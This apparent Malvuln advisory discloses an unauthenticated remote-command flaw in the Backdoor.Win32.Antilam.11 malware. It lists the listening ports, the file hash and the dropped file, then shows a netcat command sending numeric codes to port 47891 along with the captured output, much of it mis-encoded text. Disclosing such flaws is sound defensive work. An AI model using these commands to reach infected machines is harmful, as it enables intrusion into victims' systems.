Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Antilam.11  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP ports 29559, 47891. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 and perform various actions on the infected host.  
Type: PE32  
MD5: 290477c9707f64a316888493ae67b1ef  
Vuln ID: MVID-2021-0403  
Dropped files: scandisk.exe  
Disclosure: 11/21/2021  
nc64.exe x.x.x.x 47891  
001 Windows: C:\WINDOWS  
System: C:\WINDOWS\system32  
Temp: C:\Users\Victim\AppData\Local\Temp\  
Windows: Windows NT 6.2 9200  
Windows: 02  
α: Victim  
Windows: English (United States)  
╨ατ≡: 1547x787  
NumLock: Off  
CapsLock: Off  
ScrollLock: Off  
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,722,629,120  
000Taskbar ±Ω≡√δ± ...005  
000╚ΩεφΩΦ ±Ω≡√ⁿ...006  
000Monitor ..008  
000Ctrl+Alt+Del ...009  
000ScrollLock ...010  
000CapsLock ..011  
000NumLock Γφ...012  
000CD-ROM ταΩ≡√≥...013  
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Γ≡σ∞ ...014  
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Σα≥≤...015  
01508:56 PM|11/17/2021016  
000Mouse was been unlocked...019  
66022023Shell Experience Host3IQHO\Victim]+ (Administrator)  
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